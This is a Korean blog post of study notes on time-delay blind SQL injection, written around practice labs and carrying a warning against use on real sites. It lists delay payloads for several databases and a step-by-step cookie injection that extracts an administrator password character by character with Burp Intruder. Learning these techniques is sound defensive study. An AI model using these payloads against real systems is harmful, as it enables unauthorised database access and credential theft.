※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
1. 목적 : 시간 지연을 트리거하여 Blind SQL Injection 활용
2. 설명 : 삽입된 SQL 구문이 실행될 때 데이터베이스 오류를 트리거해도 더이상 응용프로그램의 응답에 차이가 발생하지 않으므로 조건부 오류를 유발하는 선행 기술이 작동하지 않을 때 시간 지연을 트리거하여 블라인드 SQL Injection 취약점을 악용 할 수 있다.
1) Microsoft SQL Server에서 다음과 같은 입력을 사용하여 조건을 테스트하고 표현식이 True 인지에 따라 지연을 트리거 할 수 있다.
'; IF(1=2) WAITFOR DELAY '0:0:10'--
'; IF(1=1) WAITFOR DELAY '0:0:10'--
→ 조건 1=2가 거짓 이므로 지연을 트리거하지 X, 조건 1=1은 참이므로 10초의 지연을 트리거 한다.
Ex) '; IF(SELECT COUNT(username)FROM Users WHERE username='Administrator' AND SUBSTRING(password,1,1)>'m')=1WAITFOR DELAY '0:0:{delay}'--
2) Lab : Blind SQL Injection with time delays
(1) 요청을 제출하고 애플리케이션이 응답하는데 10초가 소용되는지 확인
TrackingId='||pg_sleep(10)--; //10초 지연 (Postgre SQL)
3) Time delays
Oracle |
dbms_pipe.receive_message(('a'),10) |
Microsoft |
WAITFOR DELAY '0:0:10' |
Postgre SQL |
SELECT pg_sleep(10) |
MySQL |
SELECT sleep(10) |
4) Lab : Blind SQL Injection with time delays and information retrieval
: 데이터베이스에는 username 과 password 라는 열이 있는 users라는 다른 테이블이 있다. 관리자의 암호를 찾으려면 Blind SQL Injection 취약점을 이용
(1) 부울 조건을 테스트하고 결과 유추
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- //애플리케이션이 응답하는데 10초가 걸리는지 확인, 참이면 10초에 응답, 거짓이면 바로 응답
TrackingId=x'%3BSELECT+CASE+WHEN(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- //애플리케이션이 시간 지연 없이 즉시 응답하는지 확인
(2) administrator 라는 사용자가 있는지 확인
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; //조건이 True 인지 확인
(3) 관리자 암호가 몇자인지 확인
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM=users-- //빨간 부분 숫자 올려가면서 확인
(4) Intruder 기능을 이용하여 관리자 패스워드 확인
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='$a$')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
① 마우스 우클릭 → send to Intruder 클릭
② Intruder 탭 - Positions탭 - 패킷 모드 드래그 → clear$ 클릭
③ substring(password,1,1)='$a$' 드래그 → Add$ 클릭
④ payloads 탭 - payload options[simple list] → Add(a-z, A-Z, 0-9)
⑤ Options 탭 - Request Engine → Number of threads : 1 수정
⑥ 결과창에서 패킷 하나 클릭 시 새로운 창이 나옴, 그 창안에 Timer를 확인 가능.
'보안 > WEB' 카테고리의 다른 글
[WEB 보안] SQL Injection-UNION Attack_1 (0) | 2020.04.26 |
---|---|
[WEB 보안] SQL Injection 취약점_기타 (0) | 2020.04.26 |
[WEB 보안] 데이터베이스 버전 확인 (0) | 2020.04.22 |
[WEB 보안] Blind SQL Injection 취약점_1 (0) | 2020.04.22 |
[WEB 보안] SQL Injection 대응 방법_1 (0) | 2020.04.22 |